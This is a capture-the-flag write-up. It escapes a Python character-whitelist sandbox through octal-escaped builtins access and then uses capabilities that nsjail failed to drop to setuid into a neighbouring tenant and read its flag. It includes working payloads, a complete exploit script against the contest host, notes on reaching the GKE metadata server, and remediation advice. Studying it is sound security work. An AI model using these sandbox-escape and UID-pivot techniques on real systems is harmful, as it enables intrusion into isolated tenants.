$ cat writeup.md…
$ cat writeup.md…
b01lersc
Task: three Python sandboxes (pyjails) with increasingly restrictive whitelists served under nsjail, each running as a separate UID; chal3's whitelist is whitespace-only and unsolvable in isolation. Solution: escape the weakest sandbox (chal1) via octal-escaped string construction into __builtins__.__dict__, then abuse the fact that nsjail keeps CAP_SETUID/CAP_SETGID and maps every challenge UID, so os.setuid() pivots across tenants to read chal3's flag.
I got access to the b01lersCTF backend infrastructure, can you take a look and see what you can find?
The remote endpoint is a TLS socket:
ncat --ssl bctf-infra.opus4-7.b01le.rs 8443
On connect the server lists three sub-challenges and asks which one to run:
Challenges:
chal3
chal1
chal2
>
Each sub-challenge is a Python pyjail of the form exec(input()) guarded by a per-challenge character whitelist. The interesting twist is that chal3's whitelist is literally string.whitespace — no alphanumerics, no punctuation, not even a single letter. Taken on its own, chal3 is unsolvable; the challenge is an infrastructure problem, not a pyjail problem.
All three challenges use the same skeleton:
# chals/chalN/chal.py inp = input("> ") for c in inp: if c not in allowed_chars: print(f"Illegal char {c}") exit() exec(inp)
Only the whitelist differs:
| Challenge | Allowed characters | Notable restrictions |
|---|---|---|
chal1 | string.ascii_lowercase + string.punctuation + string.digits with e and o removed | No whitespace, no uppercase, no e/o |
chal2 | string.ascii_lowercase + "._[]; " | No digits, no parens, no quotes, no =, no : |
chal3 | string.whitespace only | Effectively impossible to form any payload |
Flags are located at /app/chals/chalN/flag.txt. Each folder is owned by the matching chalN user (UID 65001/65002/65003) and is chmod 700 (see the Dockerfile loop below). On the live deployment only chal3's flag.txt contains the real flag; chal1 and chal2 return fake{fake_flag}.
app/challenge_server.py listens on 127.0.0.1:1337 and spawns a multiprocessing.Process per connection. Inside that process, before executing the challenge, it drops privileges to the matching UID:
def run_challenge(challenge: str, socket: socket.socket): with socket: uid = pwd.getpwnam(challenge).pw_uid gid = grp.getgrnam(challenge).gr_gid os.setgid(gid) os.setuid(uid) ... subprocess.run([root / "app/chal.py"], ...)
Because the server uses os.setuid() (not setresuid() with no capabilities left), it must be running as a process that actually has CAP_SETUID available. That means the capability is present in the namespace at the moment the per-challenge child is created — and, critically, it is still present in the child.
nsjail.cfg is where the infrastructure breaks apart:
cap: "CAP_SETUID"
cap: "CAP_SETGID"
uidmap {inside_id: "1000" outside_id: "1000"}
uidmap {inside_id: "65001" outside_id: "65001" count: 10}
gidmap {inside_id: "1000" outside_id: "1000"}
gidmap {inside_id: "65001" outside_id: "65001" count: 10}
Two things are wrong at once:
CAP_SETUID and CAP_SETGID are kept in the capability set. nsjail does not drop them after the challenge process starts, and challenge_server.py never strips them either.uidmap range covers UIDs 65001..65010 — that is, all challenge users are mapped into the same user namespace. ctf (UID 1000) is also mapped.The consequence: once we are executing code as any chalN user, we can call os.setuid() to switch to any other UID in the uidmap. The per-challenge chmod 700 folder permissions mean nothing, because kernel permission checks are evaluated after we have already become the target UID.
Empirically verified inside the remote container:
os.setuid(0) -> OSError: [Errno 22] Invalid argument # uid 0 not in the map
os.setuid(1000) -> getuid() == 1000 # ctf user
os.setuid(65001) -> getuid() == 65001 # chal3
os.setuid(65003) -> getuid() == 65003 # chal2
So the attack plan is: break the easiest sandbox (chal1), then setuid(65001) and read /app/chals/chal3/flag.txt directly. The unbreakable chal3 whitelist is irrelevant.
chal1 forbids e, o, whitespace and uppercase, but leaves us digits, backslash and most punctuation. That is enough to build arbitrary strings at runtime via octal escapes — \NNN uses only backslash and digits, all allowed.
From there we reach anything by indexing __builtins__.__dict__:
# open('flag.txt') from chal1's cwd: print(*__builtins__.__dict__['\157\160\145\156']('\146\154\141\147\056\164\170\164')) # o p e n f l a g . t x t
Arbitrary imports and command execution work the same way:
a = __builtins__.__dict__['\137\137\151\155\160\157\162\164\137\137']('\157\163') # __import__('os') a.__dict__['\163\171\163\164\145\155']('id') # os.system('id') # uid=65002(chal1) gid=65002(chal1) groups=65002(chal1)
That confirms the sandbox is fully broken and the process is running as chal1 (UID 65002).
With CAP_SETUID/CAP_SETGID still in the bounding set, we can change UID/GID to any mapped value. Dropping to chal3 (UID 65001) lets us open /app/chals/chal3/flag.txt despite the chmod 700:
a = __builtins__.__dict__['\137\137\151\155\160\157\162\164\137\137']('\157\163') a.__dict__['\163\145\164\147\151\144'](65001) # setgid(65001) a.__dict__['\163\145\164\165\151\144'](65001) # setuid(65001) f = __builtins__.__dict__['\157\160\145\156']('/app/chals/chal3/flag.txt') print(f.__class__.__dict__['\162\145\141\144'](f))
Running the same primitive against all three users on the remote:
--- chal2 (uid 65003) -> /app/chals/chal2/flag.txt
fake{fake_flag}
--- chal3 (uid 65001) -> /app/chals/chal3/flag.txt
bctf{REDACTED}
--- chal1 (uid 65002) -> /app/chals/chal1/flag.txt
fake{fake_flag}
The intended target is chal3 — the "impossible" sandbox — reached entirely by pivoting out of chal1.
The following script connects over TLS, selects chal1, sends an octal-encoded payload that performs setgid/setuid and reads the target file, and repeats for each user:
#!/usr/bin/env python3 import socket, ssl, time HOST = 'bctf-infra.opus4-7.b01le.rs' PORT = 8443 def esc(s): return ''.join(f'\\{ord(c):03o}' for c in s) def chal1_run(payload, attempts=60): ctx = ssl.create_default_context() ctx.check_hostname = False ctx.verify_mode = ssl.CERT_NONE for _ in range(attempts): try: with socket.create_connection((HOST, PORT), timeout=10) as s: with ctx.wrap_socket(s, server_hostname=HOST) as ss: ss.settimeout(5) banner = ss.recv(4096) if b'Challenges:' not in banner: time.sleep(3); continue ss.sendall(b'chal1\n') time.sleep(3) pre = b'' while True: ss.settimeout(0.5) try: c = ss.recv(4096) except Exception: break if not c: break pre += c if b'chal1:' not in pre: time.sleep(3); continue ss.sendall(payload.encode() + b'\n') time.sleep(5) out = b'' while True: ss.settimeout(0.75) try: c = ss.recv(4096) except Exception: break if not c: break out += c if out: return out.decode('utf-8', 'replace') except Exception: time.sleep(3) return '' imp = esc('__import__') osm = esc('os') setgid = esc('setgid') setuid = esc('setuid') oopen = esc('open') read = esc('read') def payload_read(uid, path): return ( f"a=__builtins__.__dict__['{imp}']('{osm}');" f"a.__dict__['{setgid}']({uid});" f"a.__dict__['{setuid}']({uid});" f"f=__builtins__.__dict__['{oopen}']('{esc(path)}');" f"print(f.__class__.__dict__['{read}'](f))" ) for name, uid, path in [ ('chal3', 65001, '/app/chals/chal3/flag.txt'), ('chal1', 65002, '/app/chals/chal1/flag.txt'), ('chal2', 65003, '/app/chals/chal2/flag.txt'), ]: print(f'--- {name} uid={uid} ---') print(chal1_run(payload_read(uid, path)))
While inside the container I also observed:
169.254.169.254 (GKE Metadata Server) is reachable and serves an access token bound to the Workload Identity pool bctf-2026-main.svc.id.goog (cluster bctf-2026-main-megaknight, project bctf-2026-main).34.118.224.1:443 is reachable from inside the jail.Both paths return PERMISSION_DENIED / SERVICE_DISABLED on the public GCP APIs I exercised, so they were not the intended solution — the intended path is the local CAP_SETUID abuse above. Noted here only because "pod can mint GKE metadata tokens and talk to the kube-apiserver" is a real defensive finding worth tracking.
CAP_SETUID/CAP_SETGID in the bounding set of untrusted code. nsjail supports keep_caps: false and explicit cap drops — use them after the server has finished its own setuid() dance, or spawn each tenant inside its own namespace with caps already dropped.setuid() to a neighbor's UID is impossible by construction (the target UID simply does not exist in the calling namespace).chmod 700) is not an isolation primitive against an attacker who can call setuid(). File-mode permissions should be defense in depth, not the perimeter.chal1/chal2 falls, chal3 falls too regardless of how airtight its whitelist looks.$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md$ grep --similar